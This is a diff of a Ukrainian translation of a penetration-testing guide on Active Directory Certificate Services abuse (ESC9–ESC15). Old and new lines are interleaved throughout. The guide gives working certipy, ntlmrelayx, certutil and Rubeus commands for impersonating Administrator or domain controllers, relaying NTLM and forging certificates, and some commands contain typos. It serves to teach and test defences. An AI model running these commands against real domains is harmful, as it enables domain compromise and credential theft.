ESC10), оскільки відсутність ESC9 не змінює вимог. -Умови, за яких налаштування цього прапора стає значущим, включають: +Умови, за яких налаштування цього прапорця стає істотним, включають: -- `StrongCertificateBindingEnforcement` не налаштовано на `2` (за замовчуванням `1`), або `CertificateMappingMethods` включає прапор `UPN`. -- Сертифікат позначений прапором `CT_FLAG_NO_SECURITY_EXTENSION` у налаштуванні `msPKI-Enrollment-Flag`. -- Будь-який EKU аутентифікації клієнта вказується сертифікатом. -- Доступні дозволи `GenericWrite` для будь-якого облікового запису для компрометації іншого. +- `StrongCertificateBindingEnforcement` не встановлено в `2` (за замовчуванням — `1`), або `CertificateMappingMethods` містить прапорець `UPN`. +- Сертифікат позначено прапорцем `CT_FLAG_NO_SECURITY_EXTENSION` у налаштуванні `msPKI-Enrollment-Flag`. +- Сертифікат містить будь-який EKU для автентифікації клієнта. +- Над будь-яким обліковим записом доступні права `GenericWrite`, що дозволяє скомпрометувати інший. ### Сценарій зловживання -Припустимо, що `John@corp.local` має дозволи `GenericWrite` на `Jane@corp.local`, з метою компрометації `Administrator@corp.local`. Шаблон сертифіката `ESC9`, в який `Jane@corp.local` дозволено реєструватися, налаштований з прапором `CT_FLAG_NO_SECURITY_EXTENSION` у своєму налаштуванні `msPKI-Enrollment-Flag`. +Припустимо, `John@corp.local` має права `GenericWrite` над `Jane@corp.local` з метою скомпрометувати `Administrator@corp.local`. Шаблон сертифіката `ESC9`, на який `Jane@corp.local` має право здійснити реєстрацію (enroll), налаштований з прапорцем `CT_FLAG_NO_SECURITY_EXTENSION` у параметрі `msPKI-Enrollment-Flag`. -Спочатку хеш `Jane` отримується за допомогою Shadow Credentials, завдяки `GenericWrite` `John`: +Спочатку hash `Jane` отримується за допомогою Shadow Credentials завдяки `GenericWrite`, якими володіє `John`: ```bash certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane ``` -Відповідно, `Jane`'s `userPrincipalName` змінюється на `Administrator`, навмисно пропускаючи частину домену `@corp.local`: +Після цього `userPrincipalName` користувача `Jane` змінено на `Administrator`, навмисно опустивши частину домену `@corp.local`: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Ця модифікація не порушує обмеження, оскільки `Administrator@corp.local` залишається відмінним як `userPrincipalName` `Administrator`. +Ця модифікація не порушує обмежень, оскільки `Administrator@corp.local` залишається відмінним значенням для `Administrator`'s `userPrincipalName`. -Після цього запитується шаблон сертифіката `ESC9`, позначений як вразливий, від імені `Jane`: +Після цього шаблон сертифіката `ESC9`, позначений як вразливий, запитується від імені `Jane`: ```bash certipy req -username jane@corp.local -hashes -ca corp-DC-CA -template ESC9 ``` -Зазначено, що `userPrincipalName` сертифіката відображає `Administrator`, без жодного “object SID”. +Зауважено, що `userPrincipalName` сертифіката відображає `Administrator`, не містить жодного “object SID”. -`userPrincipalName` `Jane` потім повертається до її оригінального, `Jane@corp.local`: +`userPrincipalName` користувача `Jane` потім було повернено до її початкового значення, `Jane@corp.local`: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Спроба аутентифікації з виданим сертифікатом тепер дає NT хеш `Administrator@corp.local`. Команда повинна включати `-domain ` через відсутність специфікації домену в сертифікаті: +Спроба автентифікації за допомогою виданого сертифіката тепер повертає NT hash користувача `Administrator@corp.local`. Команда має включати `-domain ` через відсутність у сертифікаті вказівки домену: ```bash certipy auth -pfx adminitrator.pfx -domain corp.local ``` -## Слабкі відображення сертифікатів - ESC10 +## Weak Certificate Mappings - ESC10 -### Пояснення +### Explanation -Два значення ключів реєстру на контролері домену згадуються в ESC10: +ESC10 стосується двох значень ключів реєстру на контролері домену: -- Значення за замовчуванням для `CertificateMappingMethods` під `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` дорівнює `0x18` (`0x8 | 0x10`), раніше було встановлено на `0x1F`. -- Налаштування за замовчуванням для `StrongCertificateBindingEnforcement` під `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` дорівнює `1`, раніше `0`. +- Значення за замовчуванням для `CertificateMappingMethods` у `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` — `0x18` (`0x8 | 0x10`), раніше встановлювалося як `0x1F`. +- Параметр за замовчуванням для `StrongCertificateBindingEnforcement` у `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` — `1`, раніше — `0`. **Випадок 1** -Коли `StrongCertificateBindingEnforcement` налаштовано на `0`. +Коли `StrongCertificateBindingEnforcement` налаштовано як `0`. **Випадок 2** Якщо `CertificateMappingMethods` включає біт `UPN` (`0x4`). -### Випадок зловживання 1 +### Сценарій зловживання 1 -При налаштуванні `StrongCertificateBindingEnforcement` на `0`, обліковий запис A з правами `GenericWrite` може бути використаний для компрометації будь-якого облікового запису B. +Якщо `StrongCertificateBindingEnforcement` налаштовано як `0`, обліковий запис A з правами `GenericWrite` може бути використаний для компрометації будь-якого облікового запису B. -Наприклад, маючи права `GenericWrite` на `Jane@corp.local`, зловмисник намагається скомпрометувати `Administrator@corp.local`. Процедура повторює ESC9, дозволяючи використовувати будь-який шаблон сертифіката. +Наприклад, маючи права `GenericWrite` на `Jane@corp.local`, атакуючий прагне скомпрометувати `Administrator@corp.local`. Процедура аналогічна ESC9 і дозволяє використовувати будь-який шаблон сертифіката. -Спочатку хеш `Jane` отримується за допомогою Shadow Credentials, експлуатуючи `GenericWrite`. +Спочатку hash користувача `Jane` отримується за допомогою Shadow Credentials, експлуатуючи `GenericWrite`. ```bash certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane ``` -Відповідно, `Jane`'s `userPrincipalName` змінюється на `Administrator`, навмисно пропускаючи частину `@corp.local`, щоб уникнути порушення обмеження. +Потім у `Jane` було змінено `userPrincipalName` на `Administrator`, свідомо опустивши частину `@corp.local`, щоб уникнути порушення обмеження. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Наступним кроком запитується сертифікат, що дозволяє автентифікацію клієнта, від імені `Jane`, з використанням шаблону за замовчуванням `User`. +Після цього від імені `Jane` запитується сертифікат для клієнтської аутентифікації, з використанням шаблону за замовчуванням `User`. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`Jane`'s `userPrincipalName` потім повертається до свого оригінального, `Jane@corp.local`. +Значення `userPrincipalName` у `Jane` потім відновлюється до початкового — `Jane@corp.local`. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Аутентифікація з отриманим сертифікатом дасть NT хеш `Administrator@corp.local`, що вимагає вказівки домену в команді через відсутність деталей домену в сертифікаті. +Аутентифікація за допомогою отриманого сертифіката поверне NT hash для `Administrator@corp.local`, тому в команді потрібно вказати домен через відсутність відомостей про домен у сертифікаті. ```bash certipy auth -pfx administrator.pfx -domain corp.local ``` -### Зловживання випадком 2 +### Випадок зловживання 2 -З `CertificateMappingMethods`, що містить бітовий прапорець `UPN` (`0x4`), обліковий запис A з правами `GenericWrite` може скомпрометувати будь-який обліковий запис B, який не має властивості `userPrincipalName`, включаючи облікові записи машин і вбудованого адміністратора домену `Administrator`. +Коли `CertificateMappingMethods` містить бітову мітку `UPN` (`0x4`), обліковий запис A з правами `GenericWrite` може скомпрометувати будь-який обліковий запис B, який не має властивості `userPrincipalName`, включно з обліковими записами машин та вбудованим доменним адміністратором `Administrator`. -Тут мета полягає в компрометації `DC$@corp.local`, починаючи з отримання хешу `Jane` через Shadow Credentials, використовуючи `GenericWrite`. +Тут мета — скомпрометувати `DC$@corp.local`, починаючи з отримання хешу `Jane` через Shadow Credentials, використовуючи `GenericWrite`. ```bash certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane ``` -`Jane`'s `userPrincipalName` тоді встановлюється на `DC$@corp.local`. +`userPrincipalName` користувача `Jane` потім встановлюється як `DC$@corp.local`. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local' ``` @@ -537,27 +552,27 @@ certipy account update -username John@corp.local -password Passw0rd! -user Jane ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`Jane`'s `userPrincipalName` повертається до свого початкового після цього процесу. +Після цього процесу значення `userPrincipalName` для `Jane` повертається до початкового значення. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local' ``` -Щоб аутентифікуватися через Schannel, використовується опція Certipy `-ldap-shell`, що вказує на успішну аутентифікацію як `u:CORP\DC$`. +Для аутентифікації через Schannel використовується опція Certipy `-ldap-shell`, що вказує на успішну аутентифікацію як `u:CORP\DC$`. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Через LDAP shell команди, такі як `set_rbcd`, дозволяють атаки на основі ресурсів з обмеженою делегацією (RBCD), що може скомпрометувати контролер домену. +Через LDAP shell команди, такі як `set_rbcd`, дозволяють виконувати атаки Resource-Based Constrained Delegation (RBCD), що потенційно можуть скомпрометувати доменний контролер. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Ця вразливість також поширюється на будь-який обліковий запис користувача, який не має `userPrincipalName` або де він не збігається з `sAMAccountName`, при цьому за замовчуванням `Administrator@corp.local` є основною мішенню через свої підвищені привілеї LDAP та відсутність `userPrincipalName` за замовчуванням. +Ця вразливість також поширюється на будь-який обліковий запис користувача, який не має `userPrincipalName` або коли він не відповідає `sAMAccountName`, при цьому за замовчуванням `Administrator@corp.local` є основною ціллю через підвищені LDAP-привілеї та відсутність `userPrincipalName` за замовчуванням. ## Relaying NTLM to ICPR - ESC11 ### Пояснення -Якщо CA Server не налаштований з `IF_ENFORCEENCRYPTICERTREQUEST`, це може призвести до атак NTLM relay без підпису через RPC-сервіс. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). +Якщо CA Server не налаштований з `IF_ENFORCEENCRYPTICERTREQUEST`, це дозволяє виконувати NTLM relay атаки без підпису через RPC-службу. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). -Ви можете використовувати `certipy`, щоб перевірити, чи `Enforce Encryption for Requests` вимкнено, і certipy покаже вразливості `ESC11`. +Ви можете використати `certipy` для перевірки, чи `Enforce Encryption for Requests` вимкнено, і certipy покаже вразливості `ESC11`. ```bash $ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -576,7 +591,7 @@ ESC11 : Encryption is not enforced for ICPR requests ``` ### Сценарій зловживання -Потрібно налаштувати релейний сервер: +Потрібно налаштувати relay server: ```bash $ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100 Certipy v4.7.0 - by Oliver Lyak (ly4k) @@ -595,29 +610,29 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -Примітка: Для контролерів домену ми повинні вказати `-template` в DomainController. +Примітка: Для контролерів домену потрібно вказати `-template` у DomainController. -Або використовуючи [sploutchy's fork of impacket](https://github.com/sploutchy/impacket): +Або використовуючи [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) : ```bash $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support ``` -## Shell доступ до ADCS CA з YubiHSM - ESC12 +## Shell access to ADCS CA with YubiHSM - ESC12 -### Пояснення +### Explanation -Адміністратори можуть налаштувати Центр сертифікації для зберігання його на зовнішньому пристрої, наприклад, "Yubico YubiHSM2". +Адміністратори можуть налаштувати Certificate Authority так, щоб він зберігався на зовнішньому пристрої, наприклад, на "Yubico YubiHSM2". -Якщо USB-пристрій підключено до сервера CA через USB-порт або до сервера USB-пристроїв у випадку, якщо сервер CA є віртуальною машиною, потрібен ключ аутентифікації (іноді його називають "паролем") для того, щоб Провайдер зберігання ключів міг генерувати та використовувати ключі в YubiHSM. +Якщо USB-пристрій підключено до CA-сервера через USB-порт, або через USB device server у випадку, коли CA-сервер — віртуальна машина, для Key Storage Provider потрібен authentication key (іноді званий "password") для генерації та використання ключів у YubiHSM. -Цей ключ/пароль зберігається в реєстрі за адресою `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` у відкритому вигляді. +Цей ключ/password зберігається в реєстрі за адресою `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` у відкритому вигляді. -Посилання [тут](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). +Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). -### Сценарій зловживання +### Abuse Scenario -Якщо приватний ключ CA зберігається на фізичному USB-пристрої, коли ви отримали доступ до оболонки, можливо відновити ключ. +Якщо приватний ключ CA зберігається на фізичному USB-пристрої, і ви отримали shell доступ, можливо відновити ключ. -Спочатку вам потрібно отримати сертифікат CA (це публічно), а потім: +Спочатку потрібно отримати сертифікат CA (він публічний), а потім: ```cmd # import it to the user store with CA certificate $ certutil -addstore -user my @@ -625,17 +640,17 @@ $ certutil -addstore -user my # Associated with the private key in the YubiHSM2 device $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my ``` -Нарешті, використайте команду certutil `-sign`, щоб підробити новий довільний сертифікат, використовуючи сертифікат CA та його приватний ключ. +Нарешті, використайте certutil `-sign` для підроблення нового довільного сертифіката, використовуючи сертифікат CA та його приватний ключ. -## Зловживання посиланням групи OID - ESC13 +## OID Group Link Abuse - ESC13 ### Пояснення -Атрибут `msPKI-Certificate-Policy` дозволяє додати політику видачі до шаблону сертифіката. Об'єкти `msPKI-Enterprise-Oid`, які відповідають за видачу політик, можна виявити в Контексті Іменування Конфігурації (CN=OID,CN=Public Key Services,CN=Services) контейнера PKI OID. Політика може бути пов'язана з групою AD, використовуючи атрибут `msDS-OIDToGroupLink` цього об'єкта, що дозволяє системі авторизувати користувача, який пред'являє сертифікат, так ніби він є членом групи. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). +Атрибут `msPKI-Certificate-Policy` дозволяє додати політику видачі до шаблону сертифіката. Об'єкти `msPKI-Enterprise-Oid`, які відповідають за політики видачі, можна знайти в Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) контейнера PKI OID. Політику можна пов'язати з AD group за допомогою атрибута цього об'єкта `msDS-OIDToGroupLink`, що дозволяє системі авторизувати користувача, який пред'являє сертифікат, ніби він є членом цієї групи. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). -Іншими словами, коли у користувача є дозвіл на реєстрацію сертифіката, і сертифікат пов'язаний з групою OID, користувач може успадкувати привілеї цієї групи. +Іншими словами, якщо користувач має дозвіл на реєстрацію (enroll) сертифіката і сертифікат пов'язаний з групою OID, користувач може успадкувати привілеї цієї групи. -Використовуйте [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1), щоб знайти OIDToGroupLink: +Використайте [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) щоб знайти OIDToGroupLink: ```bash Enumerating OIDs ------------------------ @@ -659,80 +674,80 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local ``` ### Сценарій зловживання -Знайдіть дозволи користувача, які можна використовувати за допомогою `certipy find` або `Certify.exe find /showAllPermissions`. +Знайдіть права користувача — можна використати `certipy find` або `Certify.exe find /showAllPermissions`. -Якщо `John` має дозвіл на реєстрацію `VulnerableTemplate`, користувач може успадкувати привілеї групи `VulnerableGroup`. +Якщо `John` має право виконувати enroll на `VulnerableTemplate`, користувач може успадкувати привілеї групи `VulnerableGroup`. -Все, що потрібно зробити, це вказати шаблон, і він отримає сертифікат з правами OIDToGroupLink. +Все, що потрібно зробити — просто вказати шаблон, і він отримає сертифікат із правами OIDToGroupLink. ```bash certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate' ``` -## Вразлива конфігурація поновлення сертифікатів - ESC14 +## Уразлива конфігурація поновлення сертифікатів — ESC14 ### Пояснення -Опис на https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping є надзвичайно детальним. Нижче наведено цитату з оригінального тексту. +Опис на https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping надзвичайно вичерпний. Нижче наведено цитату оригінального тексту. -ESC14 вирішує вразливості, що виникають через "слабке явне відображення сертифікатів", в основному через неналежне використання або небезпечну конфігурацію атрибута `altSecurityIdentities` на облікових записах користувачів або комп'ютерів Active Directory. Цей багатозначний атрибут дозволяє адміністраторам вручну асоціювати сертифікати X.509 з обліковим записом AD для цілей аутентифікації. Коли він заповнений, ці явні відображення можуть переважати над логікою відображення сертифікатів за замовчуванням, яка зазвичай спирається на UPN або DNS-імена в SAN сертифіката, або на SID, вбудований у розширення безпеки `szOID_NTDS_CA_SECURITY_EXT`. +ESC14 стосується вразливостей, що виникають через «слабке явне відображення сертифікатів», головним чином через неправильне використання або небезпечну конфігурацію атрибута Active Directory user або computer `altSecurityIdentities`. Цей мультизначний атрибут дозволяє адміністраторам вручну пов’язувати X.509 сертифікати з обліковим записом AD для аутентифікації. Коли він заповнений, ці явні відображення можуть переважати стандартну логіку відображення сертифікатів, яка зазвичай спирається на UPNs або DNS імена в SAN сертифіката, або на SID, вбудований в розширення безпеки `szOID_NTDS_CA_SECURITY_EXT`. -"Слабке" відображення виникає, коли рядкове значення, що використовується в атрибуті `altSecurityIdentities` для ідентифікації сертифіката, є занадто широким, легко вгадуваним, спирається на неунікальні поля сертифіката або використовує компоненти сертифіката, які легко підробити. Якщо зловмисник може отримати або створити сертифікат, атрибути якого відповідають такому слабо визначеному явному відображенню для привілейованого облікового запису, він може використовувати цей сертифікат для аутентифікації та видавати себе за цей обліковий запис. +«Слабке» відображення виникає, коли рядок значення, що використовується в атрибуті `altSecurityIdentities` для ідентифікації сертифіката, є занадто широким, легко вгадується, спирається на неконкретні поля сертифіката або використовує легко підроблювані компоненти сертифіката. Якщо атакуючий може отримати або створити сертифікат, атрибути якого відповідають такому слабо визначеному явному відображенню для привілейованого облікового запису, він може використати цей сертифікат для аутентифікації та імітації цього облікового запису. Приклади потенційно слабких рядків відображення `altSecurityIdentities` включають: -- Відображення лише за загальним іменем суб'єкта (CN): наприклад, `X509:CN=SomeUser`. Зловмисник може отримати сертифікат з цим CN з менш безпечного джерела. -- Використання надто загальних імен видатних осіб (DN) або імен суб'єктів без подальшої кваліфікації, як-от конкретний серійний номер або ідентифікатор ключа суб'єкта: наприклад, `X509:CN=SomeInternalCACN=GenericUser`. -- Використання інших передбачуваних шаблонів або некриптографічних ідентифікаторів, які зловмисник може задовольнити в сертифікаті, який він може легітимно отримати або підробити (якщо він скомпрометував CA або знайшов вразливий шаблон, як у ESC1). +- Відображення виключно за звичайним Subject Common Name (CN): наприклад, `X509:CN=SomeUser`. Атакуючий може отримати сертифікат з цим CN з менш захищеного джерела. +- Використання надмірно загальних Issuer Distinguished Names (DNs) або Subject DNs без додаткової кваліфікації, як-от конкретний серійний номер або subject key identifier: наприклад, `X509:CN=SomeInternalCACN=GenericUser`. +- Застосування інших передбачуваних шаблонів або некриптографічних ідентифікаторів, які атакуючий може задовольнити у сертифікаті, який він легітимно отримує або підробляє (якщо він скомпрометував CA або знайшов вразливий шаблон, як в ESC1). -Атрибут `altSecurityIdentities` підтримує різні формати для відображення, такі як: +Атрибут `altSecurityIdentities` підтримує різні формати відображення, такі як: -- `X509:IssuerDNSubjectDN` (відображає за повним DN видатної особи та суб'єкта) -- `X509:SubjectKeyIdentifier` (відображає за значенням розширення ідентифікатора ключа суб'єкта сертифіката) -- `X509:SerialNumberBackedByIssuerDN` (відображає за серійним номером, неявно кваліфікованим DN видатної особи) - це не стандартний формат, зазвичай це `IssuerDNSerialNumber`. -- `X509:EmailAddress` (відображає за іменем RFC822, зазвичай електронною адресою, з SAN) -- `X509:Thumbprint-of-Raw-PublicKey` (відображає за SHA1-хешем сирого публічного ключа сертифіката - зазвичай сильний) +- `X509:IssuerDNSubjectDN` (відображення за повними Issuer та Subject DN) +- `X509:SubjectKeyIdentifier` (відображення за значенням розширення Subject Key Identifier сертифіката) +- `X509:SerialNumberBackedByIssuerDN` (відображення за серійним номером, неявно кваліфікованим Issuer DN) — зазвичай це не стандартний формат, зазвичай використовують `IssuerDNSerialNumber`. +- `X509:EmailAddress` (відображення за RFC822 іменем, зазвичай електронною адресою, із SAN) +- `X509:Thumbprint-of-Raw-PublicKey` (відображення за SHA1-хешем сирого відкритого ключа сертифіката — загалом сильне) -Безпека цих відображень сильно залежить від специфічності, унікальності та криптографічної міцності вибраних ідентифікаторів сертифікатів, що використовуються в рядку відображення. Навіть з увімкненими сильними режимами прив'язки сертифікатів на контролерах домену (які в основному впливають на неявні відображення на основі SAN UPN/DNS та розширення SID), погано налаштований запис `altSecurityIdentities` все ще може представляти прямий шлях для підробки, якщо логіка відображення сама по собі є ненадійною або занадто поблажливою. +Безпека цих відображень значною мірою залежить від специфічності, унікальності та криптографічної стійкості обраних ідентифікаторів сертифіката, використаних у рядку відображення. Навіть за наявності режимів сильного прив’язування сертифікатів на Domain Controllers (які переважно впливають на неявні відображення, засновані на SAN UPNs/DNS та SID-розширенні), неправильно налаштований запис у `altSecurityIdentities` все одно може створити прямий шлях для імітації, якщо сама логіка відображення є помилковою або надто дозволяючою. ### Сценарій зловживання -ESC14 націлений на **явні відображення сертифікатів** в Active Directory (AD), зокрема на атрибут `altSecurityIdentities`. Якщо цей атрибут встановлений (за дизайном або через неправильну конфігурацію), зловмисники можуть видавати себе за облікові записи, представляючи сертифікати, які відповідають відображенню. +ESC14 націлений на явні відображення сертифікатів в Active Directory (AD), конкретно на атрибут `altSecurityIdentities`. Якщо цей атрибут встановлено (за задумом або через неправильну конфігурацію), атакуючі можуть імітувати облікові записи, пред’являючи сертифікати, які відповідають відображенню. -#### Сценарій A: Зловмисник може записувати в `altSecurityIdentities` +#### Scenario A: Attacker Can Write to `altSecurityIdentities` -**Попередня умова**: Зловмисник має права на запис до атрибута `altSecurityIdentities` цільового облікового запису або право надати його у формі одного з наступних дозволів на цільовий об'єкт AD: -- Записувати властивість `altSecurityIdentities` -- Записувати властивість `Public-Information` -- Записувати властивість (всі) +Передумова: Атакуючий має права запису до атрибута `altSecurityIdentities` цільового облікового запису або має право надати його у вигляді одного з наступних дозволів на цільовому об’єкті AD: +- Write property `altSecurityIdentities` +- Write property `Public-Information` +- Write property (all) - `WriteDACL` - `WriteOwner`* - `GenericWrite` - `GenericAll` -- Власник*. +- Owner*. -#### Сценарій B: Ціль має слабке відображення через X509RFC822 (електронна пошта) +#### Scenario B: Target Has Weak Mapping via X509RFC822 (Email) -- **Попередня умова**: Ціль має слабке відображення X509RFC822 в altSecurityIdentities. Зловмисник може встановити атрибут електронної пошти жертви, щоб він відповідав імені X509RFC822 цілі, зареєструвати сертифікат як жертва і використовувати його для аутентифікації як ціль. +- Передумова: У цілі є слабке X509RFC822 відображення в altSecurityIdentities. Атакуючий може встановити атрибут пошти жертви (mail) так, щоб він відповідав X509RFC822 імені цілі, оформити сертифікат від імені жертви і використовувати його для аутентифікації як цільовий обліковий запис. -#### Сценарій C: Ціль має відображення X509IssuerSubject +#### Scenario C: Target Has X509IssuerSubject Mapping -- **Попередня умова**: Ціль має слабке явне відображення X509IssuerSubject в `altSecurityIdentities`. Зловмисник може встановити атрибут `cn` або `dNSHostName` на жертві, щоб він відповідав суб'єкту відображення X509IssuerSubject цілі. Потім зловмисник може зареєструвати сертифікат як жертва і використовувати цей сертифікат для аутентифікації як ціль. +- Передумова: У цілі є слабке явне відображення X509IssuerSubject в `altSecurityIdentities`. Атакуючий може встановити атрибут `cn` або `dNSHostName` у жертви так, щоб він відповідав subject відображення X509IssuerSubject цілі. Після цього атакуючий може видати сертифікат від імені жертви і використати цей сертифікат для аутентифікації як цільовий обліковий запис. -#### Сценарій D: Ціль має відображення X509SubjectOnly +#### Scenario D: Target Has X509SubjectOnly Mapping -- **Попередня умова**: Ціль має слабке явне відображення X509SubjectOnly в `altSecurityIdentities`. Зловмисник може встановити атрибут `cn` або `dNSHostName` на жертві, щоб він відповідав суб'єкту відображення X509SubjectOnly цілі. Потім зловмисник може зареєструвати сертифікат як жертва і використовувати цей сертифікат для аутентифікації як ціль. +- Передумова: У цілі є слабке явне відображення X509SubjectOnly в `altSecurityIdentities`. Атакуючий може встановити атрибут `cn` або `dNSHostName` у жертви так, щоб він відповідав subject відображення X509SubjectOnly цілі. Після цього атакуючий може видати сертифікат від імені жертви і використати цей сертифікат для аутентифікації як цільовий обліковий запис. -### Конкретні операції -#### Сценарій A +### конкретні операції +#### Scenario A -Запросити сертифікат шаблону сертифіката `Machine` +Запросити сертифікат за шаблоном сертифіката `Machine` ```bash .\Certify.exe request /ca: /template:Machine /machine ``` -Збережіть і конвертуйте сертифікат +Зберегти та конвертувати сертифікат ```bash certutil -MergePFX .\esc13.pem .\esc13.pfx ``` -Аутентифікація (використовуючи сертифікат) +Аутентифікуватися (з використанням сертифіката) ```bash .\Rubeus.exe asktgt /user: /certificate:C:\esc13.pfx /nowrap ``` @@ -740,27 +755,27 @@ certutil -MergePFX .\esc13.pem .\esc13.pfx ```bash Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:DC=local,DC=external,CN=external-EXTCA01-CA250000000000a5e838c6db04f959250000006c" ``` -Для більш специфічних методів атаки в різних сценаріях атак, будь ласка, зверніться до наступного: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). +Для більш конкретних методів атаки в різних сценаріях зверніться до наступного: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). ## EKUwu Application Policies(CVE-2024-49019) - ESC15 -### Пояснення +### Explanation -Опис на https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc є надзвичайно детальним. Нижче наведено цитату з оригінального тексту. +Опис на https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc надзвичайно детальний. Нижче наведено цитату оригінального тексту. -Використовуючи вбудовані шаблони сертифікатів версії 1 за замовчуванням, зловмисник може створити CSR, щоб включити політики застосування, які є переважними над налаштованими атрибутами розширеного використання ключів, зазначеними в шаблоні. Єдина вимога - права на реєстрацію, і це може бути використано для генерації сертифікатів аутентифікації клієнтів, агентів запиту сертифікатів та сертифікатів підпису коду, використовуючи шаблон **_WebServer_**. +Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template -### Зловживання +### Abuse -Наступне посилається на [це посилання](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), натисніть, щоб побачити більш детальні методи використання. +Нижче наведено посилання на [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods. -Команда `find` Certipy може допомогти виявити шаблони V1, які потенційно можуть бути вразливими до ESC15, якщо CA не виправлено. +Команда `find` у Certipy може допомогти виявити V1 шаблони, які потенційно вразливі до ESC15, якщо CA не оновлено. ```bash certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100 ``` -#### Сценарій A: Пряме імперсонування через Schannel +#### Сценарій A: Direct Impersonation via Schannel -**Крок 1: Запросіть сертифікат, інжектуючи "Клієнтську автентифікацію" в політику застосування та цільовий UPN.** Атакуючий `attacker@corp.local` націлюється на `administrator@corp.local`, використовуючи шаблон "WebServer" V1 (який дозволяє наданий учасником суб'єкт). +**Крок 1: Запитати сертифікат, вставивши "Client Authentication" Application Policy та цільовий UPN.** Зловмисник `attacker@corp.local` націлюється на `administrator@corp.local`, використовуючи шаблон "WebServer" V1 (який дозволяє заявнику вказати subject). ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -769,17 +784,17 @@ certipy req \ -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \ -application-policies 'Client Authentication' ``` -- `-template 'WebServer'`: Вразливий шаблон V1 з "Заявник надає суб'єкт". -- `-application-policies 'Client Authentication'`: Впроваджує OID `1.3.6.1.5.5.7.3.2` у розширення Політики застосування CSR. -- `-upn 'administrator@corp.local'`: Встановлює UPN у SAN для імперсонації. +- `-template 'WebServer'`: Вразливий шаблон V1 з "Enrollee supplies subject". +- `-application-policies 'Client Authentication'`: Вставляє OID `1.3.6.1.5.5.7.3.2` в розширення Application Policies у CSR. +- `-upn 'administrator@corp.local'`: Встановлює UPN в SAN для імперсонації. -**Крок 2: Аутентифікація через Schannel (LDAPS) з використанням отриманого сертифіката.** +**Крок 2: Аутентифікуйтеся через Schannel (LDAPS), використовуючи отриманий сертифікат.** ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell ``` -#### Сценарій B: PKINIT/Kerberos Імітація через Зловживання Агентом Реєстрації +#### Сценарій B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse -**Крок 1: Запросіть сертифікат з шаблону V1 (з "Заявник 